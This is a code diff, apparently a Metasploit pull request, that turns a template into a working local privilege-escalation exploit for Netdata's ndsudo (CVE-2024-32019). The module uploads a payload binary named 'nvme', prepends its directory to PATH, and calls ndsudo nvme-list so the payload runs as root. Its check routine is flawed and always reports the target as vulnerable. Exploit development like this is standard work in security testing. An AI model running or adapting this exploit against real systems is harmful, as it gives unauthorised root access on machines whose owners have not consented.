66class MetasploitModule < Msf ::Exploit ::Local
77 Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
88
9- # includes: is_root?
109 include Msf ::Post ::Linux ::Priv
11- # includes: has_gcc?
1210 include Msf ::Post ::Linux ::System
13- # includes: kernel_release
1411 include Msf ::Post ::Linux ::Kernel
15- # includes writable?, upload_file, upload_and_chmodx, exploit_data
1612 include Msf ::Post ::File
17- # includes generate_payload_exe
1813 include Msf ::Exploit ::EXE
19- # includes register_files_for_cleanup
2014 include Msf ::Exploit ::FileDropper
21- # includes: COMPILE option, live_compile?, upload_and_compile
22- # strip_comments
2315 include Msf ::Post ::Linux ::Compile
2416 prepend Msf ::Exploit ::Remote ::AutoCheck
2517
@@ -31,101 +23,67 @@ def initialize(info = {})
3123 # vuln type, class. Preferably apply
3224 # some search optimization so people can actually find the module.
3325 # We encourage consistency between module name and file name.
34- 'Name' => 'Sample Linux Priv Esc ' ,
26+ 'Name' => 'Netdata ndsudo privilege escalation ' ,
3527 'Description' => %q{
36- This exploit module illustrates how a vulnerability could be exploited
37- in an linux command for priv esc.
28+ TODO
3829 } ,
3930 'License' => MSF_LICENSE ,
40- # The place to add your name/handle and email. Twitter and other contact info isn't handled here.
41- # Add reference to additional authors, like those creating original proof of concepts or
42- # reference materials.
43- # It is also common to comment in who did what (PoC vs metasploit module, etc)
31+
4432 'Author' => [
4533 'msutovsky-r7' , # msf module
4634 'mia-0' # security researcher
4735 ] ,
4836 'Platform' => [ 'linux' ] ,
49- # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit
50- # may only apply to say ARCH_PPC or something else, where a specific arch is required.
51- # A full list is available in lib/msf/core/payload/uuid.rb
5237 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
53- # What types of sessions we can use this module in conjunction with. Most modules use libraries
54- # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
55- # test both to ensure compatibility.
5638 'SessionTypes' => [ 'shell' , 'meterpreter' ] ,
5739 'Targets' => [ [ 'Auto' , { } ] ] ,
58- # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
59- # since privilege escalation modules typically result in elevated privileges, this is
60- # generally set to true
6140 'Privileged' => true ,
6241 'References' => [
63- [ 'OSVDB' , '12345' ] ,
64- [ 'EDB' , '12345' ] ,
65- [ 'URL' , 'http://www.example.com' ] ,
42+ [ 'URL' , 'https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93' ] ,
6643 [ 'CVE' , '2024-32019' ]
6744 ] ,
6845 'DisclosureDate' => '2024-04-12' ,
69- # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
70- # It's generally easiest just to put the default at the beginning of the list and skip this
71- # entirely.
7246 'DefaultTarget' => 0 ,
73- # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
47+ # TODO
7448 'Notes' => {
7549 'Stability' => [ ] ,
7650 'Reliability' => [ ] ,
7751 'SideEffects' => [ ]
7852 }
7953 )
8054 )
81- # force exploit is used to bypass the check command results
55+
8256 register_advanced_options [
83- OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] )
57+ OptString . new ( 'WritableDir' , [ true , 'A directory where we can write files' , '/tmp' ] ) ,
58+ OptString . new ( 'NdsudoPath' , [ true , 'A path to ndsudo binary on the target system' , '/usr/libexec/netdata/plugins.d/ndsudo' ] )
8459 ]
8560 end
8661
8762 def check
88-
89- release = kernel_release
90- begin
91- if Rex ::Version . new ( release . split ( '-' ) . first ) > Rex ::Version . new ( '4.14.11' ) ||
92- Rex ::Version . new ( release . split ( '-' ) . first ) < Rex ::Version . new ( '4.0' )
93- return CheckCode ::Safe ( "Kernel version #{ release } is not vulnerable" )
94- end
95- rescue ArgumentError => e
96- return CheckCode ::Safe ( "Error determining or processing kernel release (#{ release } ) into known format: #{ e } " )
97- end
98- vprint_good "Kernel version #{ release } appears to be vulnerable"
99-
100- # Check the app is installed and the version, debian based example
101- package = cmd_exec ( 'dpkg -l example | grep \'^ii\'' )
102- if package &.include? ( '1:2015.3.14AR.1-1build1' )
103- return CheckCode ::Appears ( "Vulnerable app version #{ package } detected" )
104- end
105-
106- CheckCode ::Safe ( "app #{ package } is not vulnerable" )
63+ # could not find reasonable way to get version
64+ CheckCode ::Safe ( 'Vulnerable binary not detected, check NdsudoPath option' ) unless file? ( datastore [ 'NdsudoPath' ] )
65+ CheckCode ::Appears ( 'Vulnerable binary detected' )
10766 end
10867
10968 def exploit
110-
69+ base_dir = datastore [ 'WritableDir' ]
11170 if !datastore [ 'ForceExploit' ] && is_root?
112- fail_with Failure ::None , 'Session already has root privileges. Set ForceExploit to override'
71+ fail_with ( Failure ::None , 'Session already has root privileges. Set ForceExploit to override' )
11372 end
11473
11574 unless writable? base_dir
116- fail_with Failure ::BadConfig , "#{ base_dir } is not writable"
75+ fail_with ( Failure ::BadConfig , "#{ base_dir } is not writable" )
11776 end
11877
11978 executable_path = "#{ base_dir } /nvme"
79+ vprint_status ( "Creating malicious file at #{ executable_path } " )
12080
121- upload_and_chmodx ( executable_path , generate_payload_exe )
122-
81+ fail_with ( Failure ::PayloadFailed , 'Failed to upload malicious binary' ) unless upload_and_chmodx ( executable_path , generate_payload_exe )
12382
12483 register_files_for_cleanup ( executable_path )
12584
126- timeout = 30
127- print_status 'Launching exploit...'
128- output = cmd_exec "PATH=#{ base_dir } :$PATH /usr/libexec/netdata/plugins.d/ndsudo nvme-list" , nil , timeout
129- output . each_line { |line | vprint_status line . chomp }
85+ vprint_status ( 'Executing..' )
86+
87+ cmd_exec ( "PATH=#{ base_dir } :$PATH #{ datastore [ 'NdsudoPath' ] } nvme-list" )
13088 end
13189end
0 commit comments